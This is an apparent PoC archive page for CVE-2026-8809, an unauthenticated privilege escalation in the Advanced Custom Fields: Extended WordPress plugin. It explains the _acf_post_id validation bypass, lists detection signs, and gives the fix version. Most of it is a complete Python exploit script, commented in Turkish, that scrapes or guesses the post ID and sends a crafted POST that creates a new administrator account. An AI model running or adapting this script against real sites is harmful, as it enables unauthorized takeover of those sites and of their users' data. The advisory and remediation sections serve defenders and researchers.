PoC Archive PoC Archive
Critical CVE-2026-8809 patched

Advanced Custom Fields: Extended Unauthenticated Privilege Escalation via `_acf_post_id` Validation Bypass (CVE-2026-8809)

by Unknown (public PoC repository) · 2026-07-05

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-8809
Category
web
Affected product
Advanced Custom Fields: Extended (ACF Extended / "ACFE") WordPress plugin
Affected versions
>= 0.9.2.5, <= latest prior to fix (fixed in 0.9.2.6)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherUnknown (public PoC repository)
CVE / AdvisoryCVE-2026-8809
Categoryweb
SeverityCritical
CVSS Score9.8
StatusPoC
Tagswordpress, acf-extended, privilege-escalation, validation-bypass, unauthenticated, administrator-creation
RelatedN/A

Affected Target

FieldValue
Software / SystemAdvanced Custom Fields: Extended (ACF Extended / “ACFE”) WordPress plugin
Versions Affected>= 0.9.2.5, <= latest prior to fix (fixed in 0.9.2.6)
Language / PlatformPHP / WordPress
Authentication RequiredNo
Network Access RequiredYes

Summary

ACF Extended’s after_validate_save_post() function trusts the attacker-controlled POST parameter _acf_post_id without any validation or authentication check. By manipulating this parameter, an attacker causes the function to take a cleanup code path that silently discards all validation errors not prefixed with acfe: — which disables both the role-permission-list check (acfe_field_user_roles::validate_front_value()) and the administrator-privilege-protection check (acfe_module_form_action_user::validate_action()). With those checks bypassed, wp_insert_user() is called with an attacker-supplied administrator role argument, creating a new administrator account without authentication.


Vulnerability Details

Root Cause

Missing validation/authentication on the _acf_post_id POST parameter allows an attacker to steer after_validate_save_post() into a validation-error cleanup branch that only honors errors carrying an acfe: prefix, silently discarding the two security checks that would otherwise block privilege escalation.

Attack Vector

  1. Submit a crafted request to an ACF Extended form-handling endpoint with a manipulated _acf_post_id parameter.
  2. The manipulated parameter causes after_validate_save_post() to take the cleanup branch that discards validation errors lacking the acfe: prefix.
  3. This disables the user-role validation and the administrator-privilege protection checks.
  4. wp_insert_user() executes with an attacker-supplied administrator role, creating a fully privileged WordPress account with no authentication required.

Impact

Unauthenticated creation of a WordPress administrator account, giving the attacker full control of the site (content, plugins, themes, users, data).


Environment / Lab Setup

Target:   WordPress site running Advanced Custom Fields: Extended >= 0.9.2.5 (unpatched)
Attacker: Any HTTP client (CVE-2026-8809.py provided)

Proof of Concept

PoC Script

See CVE-2026-8809.py in this folder.

1
2
pip install requests
python3 CVE-2026-8809.py <target_url>

The script locates the _acf_post_id value on the target page (falling back to a random guess if not found), generates random attacker credentials, builds and submits the crafted POST request that bypasses ACF Extended’s validation checks, and creates a new administrator account.


Detection & Indicators of Compromise

Signs of compromise:

  • New, unrecognized administrator accounts appearing without a corresponding legitimate admin action.
  • Form submissions to ACF Extended endpoints with anomalous _acf_post_id values.

Remediation

ActionDetail
Primary fixUpdate Advanced Custom Fields: Extended to 0.9.2.6 or later
Interim mitigationAudit for unauthorized administrator accounts; restrict access to ACF Extended form-handling endpoints until patched

References


Notes

Mirrored from https://github.com/izxci/CVE-2026-8809 on 2026-07-05.

CVE-2026-8809.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
import requests
import re
import sys
import random
import string
from urllib.parse import urljoin

def generate_random_credentials(prefix="attacker"):
    """Rastgele kullanıcı adı ve şifre üretir."""
    random_suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
    username = f"{prefix}_{random_suffix}"
    password = ''.join(random.choices(string.ascii_letters + string.digits + "!@#$%", k=16))
    return username, password

def find_acf_post_id(target_url, session):
    """
    Hedef sayfada '_acf_post_id' değerini bulmaya çalışır.
    Öncelikle sayfa kaynağında arar, bulamazsa rastgele oluşturur.
    """
    print(f"[*] Analiz ediliyor: {target_url}")
    try:
        response = session.get(target_url, timeout=10)
        response.raise_for_status()
    except requests.exceptions.RequestException as e:
        print(f"[-] Sayfaya erişilemedi: {e}")
        return None

    post_id_patterns = [
        r'id="acf-post-id"\s*value="([^"]+)"', # Olası gizli giriş alanı
        r'name="_acf_post_id"\s+value="([^"]+)"',
        r'data-post-id=["\']([^"\']+)["\']',
        r'post_id["\']\s*:\s*["\']?(\d+)["\']?',
    ]

    for pattern in post_id_patterns:
        match = re.search(pattern, response.text)
        if match:
            detected_post_id = match.group(1)
            print(f"[+] '_acf_post_id' tespit edildi: {detected_post_id}")
            return detected_post_id

    # Alternatif: Rastgele bir post_id dener
    random_post_id = str(random.randint(1, 9999))
    print(f"[!] '_acf_post_id' tespit edilemedi, rastgele değer kullanılıyor: {random_post_id} (Olasılık düşük)")
    return random_post_id

def build_exploit_request(target_url, post_id, username, email, password):
    """Zafiyeti tetikleyecek POST isteğini oluşturur."""
    # Gerekli POST verileri, hedef siteye göre değişebilir.
    # Bu, yaygın bir form yapısını baz alan temel bir payload'dır.
    exploit_data = {
        '_acf_post_id': post_id,
        'acf[username]': username,
        'acf[email]': email,
        'acf[password]': password,
        'acf[role]': 'administrator', # Kritik: Yetki yükseltme rolü
        'acf[submit]': 'Submit',
        'action': 'acfe/form/submit',
        # form_id veya form_name gibi ek alanlar gerekebilir.
        # Genellikle sayfada 'acf[form_id]' şeklinde gizli bir alan bulunur.
        # Bu alan bulunamazsa, işlem başarısız olabilir. Gelişmiş tespit gerekir.
        'acf[form_id]': '1' # Varsayılan bir değer dener.
    }
    return exploit_data

def exploit(target_url):
    """
    Ana exploit fonksiyonu: Hedefi analiz eder, gerekli parametreleri bulur
    ve zafiyeti tetikleyen POST isteğini gönderir.
    """
    print("="*60)
    print(" CVE-2026-8809 - Unauthenticated Privilege Escalation PoC")
    print("="*60)
    print(f"[+] Hedef: {target_url}")

    session = requests.Session()
    session.headers.update({'User-Agent': 'Mozilla/5.0 (CVE-2026-8809-PoC)'})

    # Adım 1: '_acf_post_id' değerini bul veya oluştur
    post_id = find_acf_post_id(target_url, session)
    if not post_id:
        print("[-] '_acf_post_id' belirlenemedi, işlem iptal ediliyor.")
        return

    # Adım 2: Rastgele yönetici kimlik bilgileri oluştur
    new_admin_username, new_admin_password = generate_random_credentials("cve_2026_8809_pwn")
    # E-posta adresi de rastgele oluşturulabilir veya istenebilir.
    new_admin_email = f"{new_admin_username}@example.com"
    print(f"[+] Yeni yönetici kimlik bilgileri oluşturuldu:")
    print(f"    Kullanıcı Adı: {new_admin_username}")
    print(f"    Şifre: {new_admin_password}")
    print(f"    E-posta: {new_admin_email}")

    # Adım 3: Exploit payload'ını oluştur
    payload = build_exploit_request(target_url, post_id, new_admin_username, new_admin_email, new_admin_password)

    # Adım 4: POST isteğini gönder
    print(f"[*] Exploit gönderiliyor...")
    try:
        # Not: İsteğin gönderileceği hedef URL, sayfanın action atribütünden alınmalıdır.
        # Bu örnekte, basitlik açısından aynı URL kullanılmıştır.
        response = session.post(target_url, data=payload, timeout=15)
        print(f"[*] HTTP Durum Kodu: {response.status_code}")

        # Adım 5: Başarı kontrolü (tamamen örnek üzerinden yapılmıştır)
        # Gerçek dünyada başarılı bir exploit'in sonucunu anlamak daha zordur.
        # Yönetici paneline giriş yapmayı denemek veya logları kontrol etmek gerekir.
        if response.status_code == 200:
            if "Kullanıcı başarıyla oluşturuldu" in response.text or "success" in response.text.lower():
                print(f"[+] İstek başarılı görünüyor! Yeni yönetici hesabı oluşturulmuş olabilir.")
            else:
                print("[?] İstek başarılı gönderildi ancak sonuç doğrulanamadı. Yönetici panelini kontrol edin.")
        else:
            print("[-] İstek başarısız oldu. Exploit koşulları oluşmamış olabilir.")

    except requests.exceptions.RequestException as e:
        print(f"[-] POST isteği sırasında hata: {e}")

    print("\n[!] Bu araç yalnızca eğitim ve izin verilen test ortamlarında kullanılmalıdır.")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Kullanım: python {sys.argv[0]} <https://hedef-site.com/acfe-form-sayfasi>")
        sys.exit(1)
    
    target = sys.argv[1]
    exploit(target)